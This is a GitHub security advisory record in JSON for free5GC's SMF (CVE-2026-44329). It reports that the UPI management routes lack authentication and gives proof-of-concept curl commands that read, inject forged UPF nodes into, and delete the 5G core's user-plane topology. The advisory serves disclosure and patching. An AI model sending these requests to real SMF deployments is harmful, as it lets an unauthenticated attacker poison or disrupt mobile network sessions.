{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/smf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T23:02:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nfree5GC\u0027s SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations.\n\nThe defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.\n\n### Details\nValidated against the SMF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/smf:v4.2.0`\n- Docker validation date: 2026-03-13\n\nControl comparison on the same SMF instance:\n- `GET /upi/v1/upNodesLinks` (no token) -\u003e `200 OK`\n- `GET /nsmf-oam/v1/` (no token) -\u003e `401 Unauthorized`\n\nThis side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process.\n\nCode evidence (paths in `free5gc/smf`):\n- UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76`\n- OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95`\n- UPI business handlers (read / write / delete on `upNodesLinks`):\n  - `NFs/smf/internal/sbi/api_upi.go:44`\n  - `NFs/smf/internal/sbi/api_upi.go:60`\n  - `NFs/smf/internal/sbi/api_upi.go:84`\n\n### PoC\nReproduced end-to-end against the running SMF at `http://10.100.200.6:8000`.\n\n1. READ UP-nodes/links with NO `Authorization` header -\u003e `200 OK`:\n```\ncurl -i http://10.100.200.6:8000/upi/v1/upNodesLinks\n```\n\n2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -\u003e `200 OK`:\n```\ncurl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"links\":[{\"A\":\"gNB1\",\"B\":\"UPF-POC-20260313\",\"weight\":1}],\"upNodes\":{\"UPF-POC-20260313\":{\"type\":\"UPF\",\"nodeID\":\"198.51.100.20\",\"addr\":\"198.51.100.20\",\"sNssaiUpfInfos\":[{\"sNssai\":{\"sst\":1,\"sd\":\"010203\"},\"dnnUpfInfoList\":[{\"dnn\":\"internet\"}]}]}}}\u0027\n```\n\n3. DELETE with FORGED token -\u003e `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):\n```\ncurl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \\\n  -H \u0027Authorization: Bearer not-a-real-token\u0027\n```\n\n4. CONTROL: same instance, sibling OAM route, no token -\u003e `401 Unauthorized`:\n```\ncurl -i http://10.100.200.6:8000/nsmf-oam/v1/\n```\n\nSMF container logs (`docker logs smf`) confirm the side-by-side behavior:\n```\n[INFO][SMF][GIN] | 200 | GET    | /upi/v1/upNodesLinks\n[INFO][SMF][GIN] | 401 | GET    | /nsmf-oam/v1/\n[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313\n[INFO][SMF][GIN] | 200 | POST   | /upi/v1/upNodesLinks\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group\u0027s intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF\u0027s view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.\n\nAny party that can reach SMF on the SBI can:\n- Read SMF\u0027s current UP-node and link topology view anonymously.\n- Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF\u0027s view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions.\n- Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF\u0027s selection logic.\n\nThe defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/887\nUpstream fix: https://github.com/free5gc/smf/pull/197",
  "id": "GHSA-3258-qmv8-frp3",
  "modified": "2026-05-08T23:02:23Z",
  "published": "2026-05-08T23:02:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-3258-qmv8-frp3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/smf/pull/197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/smf/commit/e23ce97565f285eb99eed153743c62bf4c767c6e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC\u0027s SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers"
}